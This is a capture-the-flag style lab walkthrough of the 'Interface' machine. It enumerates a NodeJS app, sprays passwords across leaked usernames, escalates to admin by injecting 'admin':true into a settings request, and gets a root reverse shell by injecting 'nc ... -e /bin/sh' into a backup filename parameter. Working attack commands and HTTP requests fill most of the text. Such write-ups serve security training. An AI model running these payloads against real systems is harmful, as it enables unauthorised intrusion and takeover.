Exploitation Guide for Interface

Summary
We’ll brute-force user credentials in a NodeJS web application to gain a foothold on this target. We’ll then exploit an OS command injection vulnerability in the same application to obtain a root shell.
Enumeration
Nmap
Let’s begin with a simple nmap
TCP scan:
kali@kali:~$ sudo nmap -p- 192.168.120.127
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-10-09 12:05 EDT
Nmap scan report for 192.168.120.127
Host is up (0.031s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
We’ll further scan the application on port 80 in an attempt to further identify the server type.
kali@kali:~$ sudo nmap -p 80 192.168.120.127 -sV
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-10-09 12:08 EDT
Nmap scan report for 192.168.120.127
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
80/tcp open http Node.js Express framework
This appears to be a web server running NodeJS Express.
Web Enumeration
Let’s set up the web browser to use Burp
proxy to help identify the exact requests the front-end interface is making to the server. After visiting the default web page (http://192.168.120.127/), we observe the following:
- a GET request is sent to /api/settings that results in
HTTP/1.1 401 Unauthorized
- a GET request is sent to /api/users that results in
HTTP/1.1 200 OK
The page also contains a list of “Top Users”:
1. zachery
2. burt
3. mary
4. evan
5. clare
6. rickie
7. orlando
8. twila
9. zachariah
10. joy
When we click on the Dark
button, we observe the following POST request:
POST /api/settings HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 22
Origin: <http://192.168.120.127>
Connection: close
Referer: <http://192.168.120.127/>
{"color-theme":"dark"}
The response is as follows:
HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Length: 12
ETag: W/"c-dAuDFQrdjS3hezqxDTNgW7AOlYk"
Date: Mon, 12 Oct 2020 13:01:47 GMT
Connection: close
Unauthorized
We’ll take a note of this information and move on.
Exploitation
Leaking More Users
Navigating to /api/users, we receive the following response:
HTTP/1.1 304 Not Modified
X-Powered-By: Express
ETag: W/"44df-Bn+qiRrYHrX450lifQ2et5+YwdY"
Date: Fri, 09 Oct 2020 16:17:56 GMT
Connection: close
More importantly, the content includes the application’s entire user list:
kali@kali:~$ curl <http://192.168.120.127/api/users>
["frieda","delia","luisa","clyde","colby","stephanie","marion","fredric","georgina","flora","jonas",
...
"amos","tammy","spencer","elma","graciela","lester","eula","dev-acct","shaun","laurie","cedric","rhea",
...
Password Spray
Next, let’s try to log in with test credentials. This provides the following response:
POST /login HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 37
Origin: <http://192.168.120.127>
Connection: close
Referer: <http://192.168.120.127/>
{"username":"test","password":"test"}
This generates a failure.
HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Date: Fri, 09 Oct 2020 16:21:03 GMT
Connection: close
Content-Length: 12
Unauthorized
Let’s password-spray the users with the password of password
. We’ll install the jq
package to assist with this, capturing the usernames one-per-row:
kali@kali:~$ sudo apt-get install jq -y
Get:1 <http://kali.download/kali> kali-rolling/main amd64 libonig5 amd64 6.9.5-2 [182 kB]
Get:2 <http://kali.download/kali> kali-rolling/main amd64 libjq1 amd64 1.6-1 [133 kB]
Get:3 <http://kali.download/kali> kali-rolling/main amd64 jq amd64 1.6-1 [63.4 kB]
Fetched 378 kB in 1s (444 kB/s)
...
kali@kali:~$
Now we can fetch the user list and pipe it into jq
:
kali@kali:~$ curl <http://192.168.120.127/api/users> | jq '.[]' -r > users.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 17631 100 17631 0 0 175k 0 --:--:-- --:--:-- --:--:-- 173k
kali@kali:~$ head users.txt
frieda
delia
luisa
clyde
colby
stephanie
marion
fredric
georgina
flora
kali@kali:~$
We’ll use a bash script to perform the password spray, using this username list as input.
kali@kali:~$ for user in $(cat users.txt); do curl '<http://192.168.120.127/login>' --data "{\\"username\\":\\"${user}\\",\\"password\\":\\"password\\"}" -H "Content-Type: application/json" 2>/dev/null | grep -v Unauthorized && echo $user ; done
OK
dev-acct
kali@kali:~$
Impersonating Admin User
We are able to login successfully with the dev-acct:password
credentials. As we log in to the website with these credentials, the login form disappears, allowing us to further investigate the /api/settings endpoint.
The Burp history reveals that our POST request to /api/settings now returns a 200 OK
instead of 401 Unauthorized
. In addition, the POST requests are returning JSON data containing our account settings:
{"color-theme":"light","lang":"en","admin":false}
Let’s click on the Dark
button and then forward the captured request to the Repeater tab in Burp. In the body of the request, we’ll append "admin":true
to the JSON as follows:
POST /api/settings HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 35
Origin: <http://192.168.120.127>
Connection: close
Referer: <http://192.168.120.127/>
Cookie: connect.sid=s%3AKOYlSeEABkSVNpIYQj3XwAhlitHWC8lt.Fb%2Be3zVcpIClXV1Q4xNOShygp0xWFiywDm%2FNPLLRh%2FA
{"color-theme":"dark","admin":true}
After we send this to the server, all subsequent requests now include "admin":true
. That means that we are now successfully impersonating the admin user in the application.
Command Injection
When we refresh the page, we discover that we can now perform a backup of the web app’s log files. The interface contains a text field (with the default value of Logbackup
), and a Backup Logs
button. Leaving the text field blank and clicking the button returns the following:
Backup created
Created backup: Created backup: /var/log/app/logfile-undefined.1602522817206.gz
Let’s attempt command injection on this field. For example, we can attempt to instruct the target to send ICMP requests to our attack machine with the following payload:
; ping -c 2 192.168.118.3;
Here’s the request:
GET /api/backup?filename=;%20ping%20-c%202%20192.168.118.3; HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: <http://192.168.120.127/>
Cookie: connect.sid=s%3AKOYlSeEABkSVNpIYQj3XwAhlitHWC8lt.Fb%2Be3zVcpIClXV1Q4xNOShygp0xWFiywDm%2FNPLLRh%2FA
Let’s run tcpdump
, filtering for ICMP packets.
kali@kali:~$ sudo tcpdump -i tap0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tap0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:03:59.804083 IP 192.168.120.127 > kali: ICMP echo request, id 900, seq 1, length 64
13:03:59.804276 IP kali > 192.168.120.127: ICMP echo reply, id 900, seq 1, length 64
13:04:00.806200 IP 192.168.120.127 > kali: ICMP echo request, id 900, seq 2, length 64
13:04:00.806252 IP kali > 192.168.120.127: ICMP echo reply, id 900, seq 2, length 64
^C
4 packets captured
4 packets received by filter
4 packets dropped by kernel
kali@kali:~$
This reveals that the target machine indeed pinged our attack machine. We have obtained command injection.
Reverse Shell
Leveraging this command injection vulnerability, let’s attempt to upgrade to a reverse shell. We’ll start a netcat listener on port 4444 and then use the following payload to send the shell:
GET /api/backup?filename=;%20nc%20192.168.118.3%204444%20-e%20/bin/sh; HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: <http://192.168.120.127/>
Cookie: connect.sid=s%3AKOYlSeEABkSVNpIYQj3XwAhlitHWC8lt.Fb%2Be3zVcpIClXV1Q4xNOShygp0xWFiywDm%2FNPLLRh%2FA
We receive a shell.
kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
192.168.120.127: inverse host lookup failed: Unknown host
connect to [192.168.118.3] from (UNKNOWN) [192.168.120.127] 57636
python -c 'import pty; pty.spawn("/bin/bash")'
root@interface:/var/www/app/dist# whoami
whoami
root
root@interface:/var/www/app/dist#
Not only have we obtained a shell, but because the web server was misconfigured to run as root, we’ve obtained a root shell!
Discussion